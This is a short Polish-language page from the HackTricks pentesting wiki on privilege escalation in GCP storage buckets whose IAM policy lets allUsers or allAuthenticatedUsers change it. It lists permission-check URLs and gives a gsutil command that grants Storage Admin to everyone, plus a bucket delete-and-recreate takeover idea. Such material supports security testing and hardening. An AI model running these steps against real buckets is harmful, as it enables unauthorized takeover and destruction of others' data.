GCP - Public Buckets Privilege Escalation

Wsparcie dla HackTricks

Eskalacja Uprawnień Buckets

Jeśli polityka bucketu pozwala na to, aby „allUsers” lub „allAuthenticatedUsers” zapisywały do swojej polityki bucketu (uprawnienie storage.buckets.setIamPolicy), to każdy może zmodyfikować politykę bucketu i przyznać sobie pełny dostęp.

Sprawdzanie Uprawnień

Są 2 sposoby na sprawdzenie uprawnień do bucketu. Pierwszym jest zapytanie o nie, wysyłając żądanie do https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam lub uruchamiając gsutil iam get gs://BUCKET_NAME.

Jednakże, jeśli twój użytkownik (potencjalnie należący do "allUsers" lub "allAuthenticatedUsers") nie ma uprawnień do odczytu polityki iam bucketu (storage.buckets.getIamPolicy), to to nie zadziała.

Drugą opcją, która zawsze zadziała, jest użycie punktu końcowego testPermissions bucketu, aby sprawdzić, czy masz określone uprawnienie, na przykład uzyskując dostęp do: https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update

Eskalacja

Aby przyznać Storage Admin dla allAuthenticatedUsers, można uruchomić:

gsutil iam ch allAuthenticatedUsers:admin gs://BUCKET_NAME

Innym atakiem byłoby usunięcie koszyka i ponowne utworzenie go na swoim koncie, aby ukraść własność.

References

Support HackTricks

Last updated